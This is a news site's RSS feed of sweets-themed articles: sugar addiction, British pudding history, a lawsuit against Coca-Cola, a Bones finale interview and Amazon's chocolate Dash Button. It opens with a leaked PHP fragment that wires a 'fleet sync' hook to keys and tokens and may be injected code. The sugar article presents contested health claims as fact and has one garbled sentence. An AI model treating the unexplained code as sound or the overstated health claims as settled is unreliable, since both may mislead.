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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Sweets – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 27 Nov 2018 14:38:42 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Sweets – Brief News https://briefnews.eu 32 32 Sugar Addiction – Symptoms, Causes, and How to Break Free https://briefnews.eu/sugar-addiction-symptoms-causes-and-how-to-break-free/ https://briefnews.eu/sugar-addiction-symptoms-causes-and-how-to-break-free/#respond Tue, 27 Nov 2018 14:38:42 +0000 http://briefnews.eu/?p=240709 Article was originally published at SweetDefeat.

The latest health and fitness trends all seem to relate to some kind of a cleanse in order to change something about your diet. Typically, a cleanse is used to assist in purging sugar or other so-called toxins from the body, but how effective are these cleanses? When it comes to sugar addiction, the body is under constant pressure to consume something sweet or sweet-tasting, which can cause a myriad of symptoms and cravings.

While many tend to ignore the symptoms of a sugar addiction, a sugar addiction can have similar effects on the brain that illicit drugs do, thus suggesting that adults ought to take this addiction seriously. Listed below is a complete list of what you need to know about sugar addiction, its causes, and how to fight the addiction.

What is Sugar Addiction?

The big question in the debate of sugar addiction is to first define what sugar addiction is. When thinking about what effects sugar has on your body, it should be noted that your brain depends on glucose (sugar) for immediate energy. Without glucose, the brain would struggle to work properly. In particular, it appears that the hypothalamus plays a role in sugar cravings and addiction. For some people, the cravings may cause them to eat or crave certain foods more than they should, and it could encourage them to make poor dietary choices.

In contrast to simply craving sugar throughout the day, there are instances when your sugar addiction shows itself in certain meals in which you overeat. Overeating in any meal or snack can be a quick sign that you may have some addiction. Usually, overeating sweet foods, beverages, or treats is the route people take. For some, this is not a big deal, but it could be an issue that masks a sugar addiction. Here are some of the most significant symptoms of sugar addiction that you should be aware of.

Sugar Addiction Symptoms

Sugar addiction shows itself in subtle and obvious ways and this can vary for each individual. Paying close attention to the symptoms of sugar addiction is important if you want a better understanding of your energy levels as well as your health. Let’s take a closer look at the symptoms of sugar addiction.

You Crave Comfort Foods at Dinner

One of the first signs that you have a sugar addiction is when you crave comfort foods at dinner time. For some people, the idea of heading home or out to dinner with friends and enjoying a big bowl of pasta, bread, or other simple-carbohydrate-rich foods can be enticing, especially if you have a sugar addiction.

For starters here, carbohydrates are not necessarily to blame for your sugar addiction, but your brain may be craving the glucose that is processed from the carbs you eat. Similarly, addiction may be apparent when you crave salty and fatty foods as well. Keeping a close eye on these subtle signs may help you to recognize what form your sugar addiction takes.

You Crave Soda and Other Sweet Beverages

Soda has long been under fire for causing ill health, and usually sodas and sugar-laden beverages contain high amounts of sugar (in the form of high-fructose corn syrup). Are you drinking diet soda instead? Well, the sweetened sodas you consume throughout the day contain high amounts of artificial sweeteners that are estimated to be about 600 times sweeter than regular table sugar (sometimes even sweeter).

At this point, consuming a beverage that is much stronger than sugar can trick your mind into thinking you’re eating sugar, but actually it is causing you to crave more of the sweet stuff. Sodas are not the only kinds of beverages to look out for: most coffee shops add sweeteners and sugar to drinks as a way to enhance the flavor. Also, many flavored teas and calorie-free products contain sweeteners, so you need to pay attention to all of these possible sources. 

Making Excuses for Your Sugar Habit

You may notice that you come up with reasons why it’s ok to eat or a drink a specific food to justify consuming it. For some people, this may be as simple as saying “it’s calorie-free” or “it’s organic.” The excuses you make for consuming sugar could be your way of trying to ignore how much your brain wants the white stuff, not to mention, it helps to cover up that perhaps there might be an addictive part of your personality. Regardless of what kind of excuses you make about sugar, chances are you may have a sugar addiction if you notice that you are making excuses at all for eating or drinking sugary foods.

Rewarding With Sugary Foods

Your brain is a smart organ. One sign that you may have a sugar addiction is if you make a bargain with yourself to reward yourself with sugar for completing something. The best example of this is going to the gym. Deciding that if you complete a challenging workout, you can have a sugary treat, is perhaps the single most common pattern. While it is good to reward yourself with something as a way to motivate you throughout a workout or something you have been meaning to do, using sugar as the reward is only reinforcing a good habit with a bad habit.

You Have Tried to Kick Sugar and Failed

This is a common sign that you could have a sugar addiction. Similar to how drug users and alcoholics struggle with kicking the habit, cutting out sugar from your diet only to fail and increase your intake again is a symptom that you have an addiction to the sweet stuff. Considering the amount of sugar that is around in daily life, fighting the urge to eat sugar is certainly a difficult challenge.

You Eat or Binge on Sugar When Alone

The last symptom in this list is comparable to other addictions. A sugar addiction can present itself for many when others are not around. If you live alone, have a night alone away from a spouse, or simply have some time to yourself, you may find yourself craving sweet foods and drinks. Ice cream, cakes, and cookies are commonly the sugary food of choice when adults are alone for a given time and have a sugar addiction. 

What Causes Our Sugar Addiction to Sugar?

So what exactly causes us to get addicted to sugar? After all, sugar is not an illicit drug, but the brain acts in a similar manner to other substance abuse and addictions. One of the first and most noticeable causes of sugar addiction is that the brain wants sugar. The brain needs sugar (glucose) as a fuel source and your brain will continuously attempt to get glucose as a way to prevent a potential shortage of this nutrient. If you notice that you have a sugar addiction, the primary culprit is your brain controlling your movements and thoughts.

Sugar Rush

Another reason you could be craving sugar regularly is due to how it makes you feel after consuming it. Generally, a sugary treat causes a rush of both glucose and endorphins in your blood, which initially causes a short burst of energy. However, the euphoria you get from eating sugar does not usually last for too long. It can cause a fast crash in your energy levels, which can cause you to feel lethargic, weak, and potentially even depressed, all due to a sharp decrease in your blood sugar levels. This leads to a vicious cycle that may have you craving sugary foods. Consider taking a look at our guide discussing in greater depth the causes of sugar cravings.

The Taste

Let’s face it, sugar tastes great, and this is part of the reason why you may be hooked on it as well. Your taste buds are small receptors located on your tongue and inside your mouth, and they respond to various substances that you consume. Interestingly, if your taste buds are not working properly, you could have a stronger affinity towards sugar and sugar addiction.

Smoking

It seems that smoking pops up in virtually every health issue. Smoking has been linked strongly to lung cancer, heart disease, chronic obstructive pulmonary disease (COPD), among  others, and now it appears that smoking may have an effect on your taste buds as well. A recent study of more than 60 smokers found that taste buds are greatly diminished as a result of regular smoking. It appears that the diminished taste buds may be due to a reduced blood circulation to the taste buds or tongue.

So if you have been fighting sugar addiction or have noticed that you may be addicted to sugar, it is important to find ways to quit smoking. Smoking can affect your health in various ways, and regardless of how long you have smoked, quitting is the best thing for your health. Consider seeking professional help when you decide to quit as a way to make the process more successful.

The Price of Convenience

One of the downsides to a sugar addiction is that you may have never had a choice in the first place. The truth is that sugar is added in high amounts to virtually every food you can find in the grocery store, including bread, pasta sauce, and foods that have no reason to have sugar. As a result, purchasing foods that contain sugar is a far too easy thing to do. If you take a look at the price of certain foods in the store, you may notice that healthier foods, organic, or sugar-free foods have a higher cost.

Why is this? A big reason is that corn is subsidized in the U.S., which means manufacturers include high-fructose corn syrup in foods because of their lower cost. Also, adding sugar to foods increases the chances that you, the consumer, will continue to purchase that food because it tastes great and it is cheaper for your budget. The price of this convenience probably has had a major impact in your life, and sugar addiction is likely not something you could have controlled in the first place.

How Sugar Addiction Negatively Affects Your Body

Now that you have a bit of information of what causes sugar addiction, now is the time to take a look at its consequences. As described above, sugar addiction is similar to drug or alcohol addiction in the sense that your desire to consume sugar is aggressive. In addition, breaking the habit is a lifestyle change that certainly takes time and effort (there will be further explanation below).

There are many consequences to sugar addiction that may not be obvious to the layperson, and these consequences may have serious implications for your health. Before getting started on how sugar can harm your body and health, consider checking out our article on how eating too much sugar affects your body.

1. Potential Heart Problems

A recent study outlined the negative effects of sugar on your health and its relation to premature death. This study, which looked at subjects over the course of 15 years, found that individuals who consumed 25% or more  of their calories each day from sugar were twice as likely to die from heart disease as those who got less than 10% of their calories from sugar. The takeaway here is that sugar can have a harmful effect on your health, and while it may not directly cause a heart attack, it is linked to heart disease and other conditions.

2. Increased Fat Storage

Too much sugar—or any nutrient, for that matter—can increase the amount of fat your body stores. Even though sugar is not in itself fatty, the excess you eat is converted to fat and stored for future energy needs. The body will continue to do this practically forever; it is capable of storing virtually endless amounts of fat.

Excess body fat is associated with cancer, heart disease, chronic obstructive pulmonary disease (COPD), and other health conditions, so regulating fat accumulation in the body is important. So even though you may have switched to a low-fat diet in the past in an attempt to shed  weight, it is important to keep an eye on your sugar consumption.

3. Sugar Addiction Can Contribute to Depression

Your mental health can be greatly affected by sugar addiction. Consuming regular amounts of sugar due to addiction can cause your blood sugar to drastically fluctuate throughout the day. In addition, the highs and lows associated with that fluctuation can cause your mood to swing all over the place.

Recent studies have shown that consuming high amounts of sugar can lead to an increase in depression, and the effects may be worse among individuals with schizophrenia. This effect on depression has to do with certain hormones in the blood, and the suppression of a hormone known as BDNF seems to be affected by high amounts of sugar in the diet.

4. Inflammation

One of the biggest influences on  chronic health conditions is inflammation. Inflammation is a natural process that is caused by your body’s reaction when fighting infection or during the healing process; however, your diet can drastically contribute to inflammation as well, and that can be harmful to your health.

Certain foods, including sugar, can cause your body to be in a constant state of inflammation that can cause your entire body to act as if it’s sick. It can affect your arterial walls, heart function, stroke risk, cancer risk, as well as contribute to arthritis and other debilitating conditions. Inflammation is not something that you can see with your naked eye, but it’s a major consequence of sugar addiction.

5. Reduced Immune System Function

Your immune system is the main line of defense against invading organisms in your body, and it is always working hard to keep you healthy. However, there is a link between sugar addiction and reduced immune system function.

High sugar consumption can have multiple impacts on your immune system; it can prevent you from getting adequate sleep at night as well as increase inflammation (which can negatively impact your immune system). If you are struggling with sugar addiction and have noticed that you have been ill more frequently, chances are you could be feeling the negative effects of sugar addiction on your immune system.

6. Insulin Resistance

A lot of people are quick to state that sugar can cause diabetes. While there is a bit of truth to this, sugar addiction may have other consequences. Your body releases insulin in response to sugar in your blood, which occurs shortly after a meal (this is why you may feel sluggish after eating). As the day goes on, your body becomes less sensitive to the insulin your body releases. This is true even in people who are not diabetic, but it’s As a result, you become insulin resistant, which is associated with type 2 diabetes and obesity. 

7. Diabetes and Amputation

Wait a minute, how can a simple sugar addiction lead to amputation of a limb? Amputation is the severing of a body part, usually to preserve health and prevent future health issues, and it’s a possible consequence of diabetes. In the case of sugar addiction, there is a chance that excess consumption of sugar can lead to type 2 diabetes.

With the continuing consumption of sugar (because addiction isn’t allowing you to stop) in the setting of type 2 diabetes, there is a chance that your peripheral areas stop receiving blood in adequate amounts. When blood supply is reduced to areas (usually the legs and feet), your cells can die and cause infections. When this occurs, an amputation may be needed—and that’s how it could be a major consequence of sugar addiction.

8. Hypertension

Approximately 34 percent of adults over the age of 20 years in the U.S. have hypertension, and this may be vastly underestimated since many adults have no clue they have hypertension. Defined as a blood pressure of at least 130/80 mmHg, hypertension can cause increased pressure in your heart chamber walls, which can lead to  the heart muscle to thicken (this process is called hypertrophy), which can then result in a life threatening condition known as hypertrophic cardiomyopathy. While not every individual responds in this manner, there is a risk for individuals to be diagnosed with hypertension, especially if the sugar you consume is combined with caffeinated beverages such as coffee and sodas.

9. Decreased Fitness Levels

High amounts of sugar consumption and sugar addiction can make you less likely to exercise. How does this happen? Sugar addiction can cause such drastic fluctuations in your blood sugar levels that you get a quick sugar high followed by a harsh crash later in the day.

Typically, this crash can occur prior to dinner time, which is when many adults hit the gym for a workout. As a result, many adults tend to skip the gym, since fatigue or lethargy sets in. The more you skip on the gym, the quicker your fitness levels will dip, which ultimately has an impact on your health.

How to Break Sugar Addiction

There are many health consequences to sugar addiction and while it may seem like it should be easy to just stop eating sugar, remember that sugar is as addictive as illicit drugs. With that said, there are some things you can do to break sugar addiction.

Some of the most challenging parts that adults face when trying to break the addiction is when cravings set in. Cravings can be a major challenge in the fight against addiction, but there are ways to fight them. For starters, consider reading our article on what to eat when craving sugar. In addition to those foods, read on for some helpful tips to help in your successful journey to breaking a sugar addiction.

1. Choose Healthy Alternatives

One of the best things you can do to fight your sugar addiction is to start by swapping sweet foods for healthy alternatives like vegetables. Yes, vegetables can be sweet, but the natural sugars you find in carrots, beets, sweet potatoes, and peas are so much lower than what you’ll find in treats such as gummies, cookies, or donuts. At the same time, they’ll satisfy your craving for sweetness and you can train yourself to eat these healthier choices over addictive sugary desserts.

2. Clean Your Pantry

In order to succeed in your fight against sugar addiction, it is important to eliminate any and all temptations in your home. Your home is where you are likely to cave in to a craving before bed or after a long day at work, so keeping  tempting foods out of reach can make it much harder to succumb.

Consider ditching all cookies, crackers (yes there is sugar in crackers), candy, chocolate (sorry, it is for the best), fruit snacks, dried fruit, and cereals that have any added sugar in them. This is not meant to be a punishment or a way to completely change your diet; rather, it is meant to give you every opportunity to succeed against your sugar addiction so that you can be as healthy as possible.

3. Cut Back on Alcohol

There are a few reasons to reduce alcohol consumption, and generally it relates to the fact that it’s harder to make healthy decisions when you drink. Many alcoholic drinks, especially mixed drinks, contain sugar as a way to enhance the flavor. And having something sweet makes you crave more sweets. That means when if you drink a few too many, your inhibitions are lowered and you’ll likely be tempted to eat sweets and other foods you shouldn’t.  Consider drinking in moderation, and if you are having a drink to be social, have  a beer, a glass of red wine, or a spritzer as  preferable options.

4. Be Aware of Sugar Substitutes and Alternative Names

Cutting sugar addiction is a challenge, and the first thing people cling to is “sugar-free” products. However, be aware of marketing ploys such as “no sugar added,” or “sugar free” because they artificial sweeteners in them. The best example of this is a sugar-free dessert. If you see this in a grocery store, chances are that cupcake is not sugar-free, but rather made with a sugar substitute. The rule of thumb is to read all food labels and  take extra care when you see foods labeled as sugar-free.

5. Have a Food Plan

The last small tip for fighting your sugar addiction is to generate a plan for how you will eat. You can write this plan out, post it somewhere, or simply keep a mental note of it, but a plan can help you to succeed in various situations.

For example, keep carrot sticks cut up in your fridge so that  after work, you can plan to snack on those instead of cookies. Or if you’re going out to brunch, decide that your plan is to order an omelette with vegetables so that pancakes (basically, a maple syrup delivery device) is not an option. The idea here is to have a plan for how you will succeed in various scenarios that typically create problems for you.

Bottom Line

The information presented here is a guide on what sugar addiction is, how it affects you and your health, and some helpful tips for success. While every situation may vary, many with a sugar addiction struggle in similar ways. While it appears that simply cutting sugar from your diet should be  easy to do, there are some barriers that can prevent you from meeting your goals.

Consider taking a look at what happens when you stop eating sugar altogether for more information on how to cut it from your diet. The best chance you have to quit sugar  and fight sugar addiction is to take it day by day and to make baby steps. The will is within you to improve your health, and the results will be amazing once you achieve success.

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Evidence is growing that calorie-packed sweeteners – such as high fructose syrups found in fizzy drinks, biscuits and cakes – have major roles in disease.Public health campaigns are now recommending strict limits to the consumption of these “free sugars.”

Part of the problem is that guidelines target sugar only for its calories rather than as a potential cause of illness, says US science writer Gary Taubes who specialises in diet and nutrition.

In an essay published in The BMJ he says the idea sugar could be behind the global obesity and epidemics should be considered seriously again.

Mr Taubes, co-founder of the Nutrition Science Initiative in San Diego, said it has potential deleterious effects on the body that go beyond just high numbers of calories.

He said a 15-fold increase in death rates from diabetes in some US cities since the Civil War coincided with the growth of the sweets, chocolate and ice cream industries in the 1840s and the soft drink industries in the 1880s.

In the midst of such a huge public health crisis, Mr Taubes says: “We must do more to discourage consumption while we improve our understanding of sugar’s role.”

Doctors have long suspected sugar is not simply a source of excess calories but a fundamental cause of obesity and type 2 diabetes, he says.

Until recently, fat consumption and total energy balance have dominated the debate about obesity and the nature of a healthy diet.

Official estimates are that one in 11 people in the United States has diabetes; one in 16 in the UK.Latest estimates suggest that obesity and diabetes may now cost the US healthcare system as much as $ 1bn (£740m; Euro 850m) a day.

In 2016, World Health Organization (WHO) director general Margaret Chan described the twin epidemics of obesity and diabetes worldwide as a “slow-motion disaster.”

She suggested the likelihood of preventing the current “bad situation” from getting “much worse” was “virtually zero.”In spite of all our best efforts these epidemics have gone unchecked, says Mr Taubes.

A simple explanation could be that our understanding of the cause of the disease is flawed – perhaps fundamentally so.

He said: “The US National Institutes of Health (crt Institutes) spent at least $ 750 million testing the hypothesis dietary fat consumption raises serum cholesterol and causes chronic disease.

“But it did not see the need to invest similar sums to answer the simple question, would we live longer and be healthier if we were given dietary advice to avoid sugar?”

The evidence that sugar has harmful qualities independent of its calories is still ambiguous.

Mr Taubes said: “If it is true, though, it changes how we must communicate the dangers of sugar consumption.”Setting an upper limit to the amount of sugar that should be consumed in a healthy diet is a good start.

“But we don’t know if the level recommended is safe for everyone.

“It could be that for people who have obesity or diabetes, or both, even a little is too much.”And the ubiquity of sugar rich products may make it difficult for many people to maintain a healthy level of sugar consumption.

“Given the scale of the obesity and diabetes epidemics “then a concerted programme of research to establish reliable knowledge on this subject should be among our highest priorities,” he concludes.

“Meanwhile, we can acknowledge the uncertainties while still recommending strongly against consumption.”

Mr Taubes is the author of The Case Against Sugar.

His previous books include the The Diet Delusion and Why We Get Fat.

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PEOPLE could live longer and healthier lives if they were simply told to avoid sugar, according to new research.

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Jam roly-polys are thought to date back to the first half of the 19th century

Even today, as the company celebrates a hundred years in business with a new exhibition at its hometown of Lifton, Devon, there are still huge numbers of people young and old enjoying the timeless taste of rice pudding.

But this is just one of the classic British puds that, even as our tastes have evolved, has survived down the ages.

Some of the ones still being served today even go back to medieval times.

Here we take a look at the history of some of our best-loved desserts…

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Jam roly-poly

The dessert is thought to date back to the first half of the 19th century when the phrase roly-poly meant not just “a pudding made in round layers with preserves or treacle between” but also “a low, vulgar person” or a “game played with a certain number of pins and a ball”.

It’s also been nicknamed “dead man’s arm”, often because it was placed inside an old shirt sleeve before being cooked.

Bird’s custard

Bird’s custard was invented by Alfred Bird, a chemist from Birmingham, in 1837.

The powder is deliberately egg-free, he invented it because his wife was allergic to them.

The story goes that Mr Bird put it into wider production after he served it to dinner guests instead of proper custard and they declared it the best custard they had ever had.

Spotted dick

The word “spotted” refers to the currants or raisins used to make it. The origins of “dick” are a little cloudier.

Theories suggest it is either a corruption of the last syllable of “pudding” or simply of the word “dough”.

It could also be related to the German word “dick” which means thick.

The first documented recipe for it appeared in 1849.

Angel Delight

This is a less historic dessert but no less popular for it. Angel Delight was invented by the Bird’s company (of custard powder fame) in 1967 with the first flavour being strawberries and cream.

It experienced its heyday in the 1970s with an attempt by Bird’s in 1999 to revive it by deploying an ad campaign featuring Wallace and Gromit.

By 2006 sales were approaching 15 million pouches a year in the UK.

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There was a dessert called a trifle in Elizabethan times with the first written reference in 1598

Trifle

There was a dessert called a trifle in Elizabethan times with the first written reference to it appearing in 1598.

Back then though it was more of a combination of cream and rosewater.

By the middle of the 18th century it had evolved into something we would recognise as a trifle, made with biscuits soaked in wine and covered with custard and cream.

Christmas pudding

In the 14th century the Christmas lunch traditionally included a porridge called frumenty made from boiled cracked wheat with raisins, prunes, currants and spices.

This sort of boiled fare was a staple of Medieval British cooking and went all the way back to Roman times.

By the 1600s it was becoming more recognisably like our modern Christmas pudding with the addition of breadcrumbs and eggs as well as beer or spirits.

By 1650 it was a staple dessert to be eaten at Christmas time.

The common cannonball shape with the sprig of holly on top was first recorded in 1836.

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Battenberg cake

The cake is said to have been invented to celebrate the marriage of Queen Victoria’s granddaughter Princess Victoria to Prince Louis of Battenberg in 1884 (Louis and Victoria were the grandparents of our very own Duke of Edinburgh, Prince Louis was one of the first members of the family to use the Anglicised name “Mountbatten”).

The earliest known recipe calls for nine squares rather than the traditional four we are used to. 

Bread pudding

Originating in the 11th or 12th century, the humble bread pudding started out as a way of using any stale or leftover bread.

In the 13th century it was known as “poor man’s pudding” because of its association with the lower classes.

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Angel Delight was invented in 1967 with the first flavour being strawberries and cream

Baked Alaska

Baked Alaska was invented in 1867 by Charles Ranhofer, a Parisian chef working at Delmonico’s restaurant in New York.

He is said to have named it in commemoration of Alaska being purchased from the Russian Empire.

Founded in 1837, Delmonico’s describes itself as the oldest fine dining restaurant in America.

It’s still there and, yes, you can still go in and order the Baked Alaska which has been on the menu for more than 150 years.

With modern technology the dessert is fairly straightforward to make but at the time of its invention it required a full kitchen staff, plenty of time and the acquisition of bananas, not a common fruit in the 1860s.

This was all reflected in the price tag, about £30 in today’s money.

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Reference to the Eton mess dates back to 1896 where it was made with strawberries or bananas

Eton Mess

Legend has it that the Eton mess was created either when an errant labrador sat on a picnic basket containing a pavlova which was nevertheless devoured by hungry schoolboys.

Unfortunately the story does seem to be apocryphal and the actual moment of invention has been lost.

A “mess” historically was a dish served at a feast and the earliest known reference to Eton mess dates back to 1896.

There is also evidence to suggest that it started life being sold at the Eton College tuck shop and was made with either strawberries or bananas.

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Pastors William Lamar, from DC’s Metropolitan African Methodist Episcopal Church, and Delman Coates, from Mount Enon Church in Maryland, claim that the soda manufacturer deceived customers of their product into believing the health risks weren’t as bad as they actually are. They claim the cost to their communities has been large.

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The DC Superior Court received the pastor’s complaint Thursday. The Praxis Project, a public health group, says that the ABA and Coca Cola went through with a campaign that set out to confuse consumers about what can cause obesity, according to court documents.

The plaintiffs claim that it has been hard to protect the health of their mostly African American communities due to the fact that they are being harmed by soda, the documents show.

The Centers for Disease Control and Prevention have released a study that proves black and Latino communities are disproportionately affected by health problems, in comparison with their white counterparts.

Diabetes, hypertension and obesity are all bigger concerns in communities of color. Soda is consumed at a higher rate in these communities and they are even exposed to advertising for these products at a higher rate, according to the CDC.

“It’s become really clear to me that we’re losing more people to the sweets than to the streets,” Coats told the Post. “There’s a great deal of misinformation in our communities, and I think that’s largely a function of these deceptive marketing campaigns.”

Coca-Cola fought back against the claims as well as another lawsuit that was filed last January by the same legal team handling this case. The earlier case was eventually withdrawn in order to be filed again with new plaintiffs.

“The allegations here are likewise legally and factually meritless, and we will vigorously defend against them,” Coca-Cola said in a statement, the Post reported.

The suit filed in January 2017 by the Praxis Project and the Center for Science in the Public Interest also cited a deceptive ad campaign by the ABA and Coca-Cola. They claimed that the cases of diabetes in California rose 50 percent between 2001 and 2012, according to a blog post on the Praxis Project website.

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The Praxis Project also claimed that current trends point to an outcome of half of African American and Latino children developing type 2 diabetes in their lifetimes. The suit cited the jump in the obesity rate from 9 percent in 1984 to 25 percent in January 2017.

One of the Coca-Cola ads mentioned in the January complaint was from 2013. Titled “Be OK,” it claimed that laughing for 75 seconds is one activity that could burn off the 139 calories in one of their drinks.

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]]> https://briefnews.eu/pastors-suing-coca-cola-claim-black-community-loses-more-people-to-sweets-than-streets/feed/ 0 Bones Finale: EP Solves Baby Mystery, Explains '447' Resolution, Talks Alternate Endings (Ghost Sweets?!) https://briefnews.eu/bones-finale-ep-solves-baby-mystery-explains-447-resolution-talks-alternate-endings-ghost-sweets/ https://briefnews.eu/bones-finale-ep-solves-baby-mystery-explains-447-resolution-talks-alternate-endings-ghost-sweets/#respond Wed, 29 Mar 2017 09:02:08 +0000 http://briefnews.eu/bones-finale-ep-solves-baby-mystery-explains-447-resolution-talks-alternate-endings-ghost-sweets/

The following story contains spoilers about tonight’s Bones series finale. Proceed at your own peril.

Any way you slice it, Bones just gave us a very happy “End in the End.”

After 12 seasons, the Fox drama signed off Tuesday with a wistful, bittersweet and ultimately satisfying hour that found Big Bad Mark Kovac permanently neutralized (aka killed), Brennan’s temporary amnesia reversed and Cam ditching the Jeffersonian to start a new family with Arastoo (but not before promoting Hodgins into her post as lab director). Along the way, the series sort of resolved the enduring “447” mystery, paid tribute to the late Sweets and maybe revealed the gender of Angela’s unborn baby. 

For more on those last three items, as well as a dissection of that perfectly low-key final scene between David Boreanaz and Emily Deschanel, we present you with our last ever post mortem Q&A with co-showrunner Michael Peterson.

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TVLINE | The destruction of the lab — was this a case of you knowing the set was going to be torn down so, you know, why not just blow the damn thing up?
Yes, there was a feeling of we didn’t want anyone else playing with our toys. But the reality of it happening was just depressing. We felt horrible. But then the art department started pouring over all the details of what it would look like [when it was obliterated] and we regretted not doing it earlier in the season. It was so beautiful we just wanted to film it from so many different angles. But, yes, we wanted to go out big. David Boreanaz once said that he wanted to drive a tank through the lab. It’s not a tank but a bomb is pretty close.

TVLINE | Was there any discussion about possibly having one of the regulars actually die in the explosion?
There was. There were lots of discussions. But this [scenario] just felt like the one that was most honest to our show. If this was 24 or Homeland it would be entirely different. This is a show where everyone rides off into the sunset.

TVLINE | Similarly, did you ever consider not having Brennan regain her core intellectual abilities, thereby forcing her to chart a new course for herself?  
It came down to what this season was all about: challenging Booth and Brennan about who they are. When we start in Season 1, Booth is dealing with the guilt of his actions and balancing out the ledger of his life, weighing the people he’s killed versus the people he’s helped. So we had him really deal with that guilt and redifining who he is. And so Brennan is also forced to define who she is. When we first meet her in the pilot she doesn’t really know what happened to her parents, and the struggle gets deeper when she discovers that the person she thought she was — even her name — was [different from reality]. So in this final episode we wanted to put her through this one final test. Who is she without the intelligence that defined her? And what she found was even if that had happened she is still this worthy person because she’s able to see herself in Booth’s eyes. Yes, she gets her abilities back, but she knows that in her heart and mind that she is more than that.

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TVLINE | Hodgins refers to his and Angela’s unborn baby as “little guy.” Is he right? Are they having a boy?
Absolutely. They are having a boy. He’s not quite Avalon [Cyndi Lauper’s clairvoyant character], but he has pretty good intuition on this one.

TVLINE | Karen and Aubrey — fair to say they’re doing more than eating fried chicken in his office?
We hope so. If anyone wants to talk to us about a spinoff, we will entertain all calls. [Laughs] We liked the idea of knowing those characters are off together somewhere eating fried chicken and having a good time.

TVLINE | Sweets got a nice shout-out in that final Booth-Brennan scene. Did you ever consider bringing John Francis Daley back to play a ghost or something?
The ghost thing is kind of confusing in the Bones world where we are so much about logic and science and reality, but we do have these moments of the supernatural. And we felt like we had already played that card for this episode with everything that happened with Avalon. So to go any further than that made it feel like more of a ghost show than our show actually is.

TVLINE | Did we get a resolution on the “447” mystery? Because I’m still a little confused.
Some people will consider it a resolution. There is probably more to tell even. We talked to [series creator] Hart Hanson and [former showrunner] Stephen [Nathan] and everyone had a different view of what “447” could be. For me and [co-showrunner] John Collier, that was meant to be the resolution.

TVLINE | So… Kovac tampered with Booth and Brennan’s alarm clock… ? 
No, absolutely not. The way “447” worked for us was in more of a supernatural way — a harbinger or omen, signaling a redefining moment for Booth and Brennan. It’s just something that has been there all along that has been building to this moment of saying, “Booth and Brennan, you’re life is going to change one more time.”

TVLINE | Were there multiple iterations of that final Booth and Brennan scene?
Yes and no. One thing that has made the show work so well is we always have that final moment with Booth and Brennan kind of talking [as their dialogue] trails off. Sometimes those things are scripted, but often David and Emily improvise. This was a combination of that. So it was written up to a certain point and then David was like, “Don’t worry about it. We’re going to do our thing.” And they did. It’s always been a show where there’s this great trust. They trust us with what we put on the page and then they add that extra element, that extra little spark that has worked so well for 12 seasons.

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]]> https://briefnews.eu/bones-finale-ep-solves-baby-mystery-explains-447-resolution-talks-alternate-endings-ghost-sweets/feed/ 0 Amazon Prime Surprise Sweets Dash Button Launches: Chocolate On Demand https://briefnews.eu/amazon-prime-surprise-sweets-dash-button-launches-chocolate-on-demand/ https://briefnews.eu/amazon-prime-surprise-sweets-dash-button-launches-chocolate-on-demand/#respond Mon, 23 Jan 2017 06:29:30 +0000 http://briefnews.eu/amazon-prime-surprise-sweets-dash-button-launches-chocolate-on-demand/ Just in time for Valentine's Day, Amazon releases the Sweet Surprise Dash Button

Just in time for Valentine’s Day, Amazon has released the ultimate in chocolate gifts: the Amazon Prime Suprise Sweets Dash Button. Yes, that’s right. It’s an on-demand easy push button for chocolate. And not just any chocolate. Amazon is curating small batch chocolates and artisanal treats, which means each box is going to be an adventure.

Of course, because this is a Dash button, you can press it as many times as you want. Keep in mind that each press will send you a new box, and each box costs $ 18. At least you get free shipping because you’re an Amazon Prime member. But despite the price tag, the boxes themselves look like little boxes just full of happiness.

Even though each box is individually packed, which means that each box is unique, Amazon has given some sneak peeks into what some of the boxes have contained. One example box contained four varieties, three chocolate and one specialty sweet:

  • Askinosie’s award-winning 62 percent Dark Milk Chocolate Bar
  • Moonstruck’s stellar Milk Chocolate Truffle Collection
  • Sweitzer Candy Shop’s chic Champagne Bubbles
  • B.T. McElrath’s tasty Salted Butter Caramel Bite

Other example boxes are loaded with equally tempting treats. From Nutwhat’s salted almond scribble to a chocolate chip and vanilla whoopie pie from Cape Whoopies to Brandini Toffee’s decadent almond toffee, each box has between four and five pieces of chocolate, caramels, or something else designed to sate your sweet tooth.

Amazon isn’t pulling any punches when it comes to giving customers a luxurious tour of all things sweet either. Rather than team up with established bigwigs in the confectionary industry, they’ve partnered with artisans as diverse as Brigadeiro Bakery in SoHo, Frans Chocolates, Chocolate Twist, California’s Brandini Toffee, and Cape Whoopies in Maine. Best of all, if you have a local confectionary shop that you think is worthy of being included, you can submit their information for Amazon to review.

If you’re wondering how to get your hands on one of these Surprise Sweets buttons, you have a bit of a wait. As long as you’re an Amazon Prime member, you can request an invitation from Amazon by clicking a link on this page. Then you just have to sit back and wait for an email.

Amazon Sweet Surprise Dash Button released
The Dash Button gives you one-touch access to chocolates and oral care. [Image by James W. Copeland/Shutterstock]

Amazon Dash Buttons have been wildly successful, despite initial misgivings when they first rolled out, with year to year sales quintupling. Customers have taken to the Dash Button so much that in October of 2016, Amazon added over 60 new brands. There are now Dash Buttons for people to reorder Cheez-Its, cat litter, Play-Doh, and Pop-Tarts.

Amazon Dash Buttons have been launched in Austria, Germany, the UK, and Japan, and the majority of brands sold out in the first day. The buttons have an initial cost of $ 4.99 each, but that amount is credited toward your first Dash Button purchase.

In a new move, Amazon has also created virtual Dash Buttons that are now on their homepage and mobile app allowing you to one-click and purchase whatever you need. Unlike the physical buttons, the new virtual Dash Buttons are created automatically for products that you have either recently ordered or that you reorder often. You can also create your own Dash Button by clicking on the new “Add to Your Dash Buttons” option on specific product’s detail pages. Users get a dedicated Dash Button dashboard that shows all of their chosen buttons, which should make impulse shopping easier.

Amazon has also collaborated with GE to embed Dash Buttons in their appliances. This move has been in talks since the Dash Button was first announced. The first two GE appliances to get integration have built in dispensers that can hold up to two months worth of detergent at a go. That means that the washer will reorder detergent automatically when it senses the dispenser is getting low. The future truly is now.

What do you think? Are you a fan of the Dash Button? What about chocolate on demand?

[Featured Image by Waraporn Chokchaiworarat/Shutterstock]

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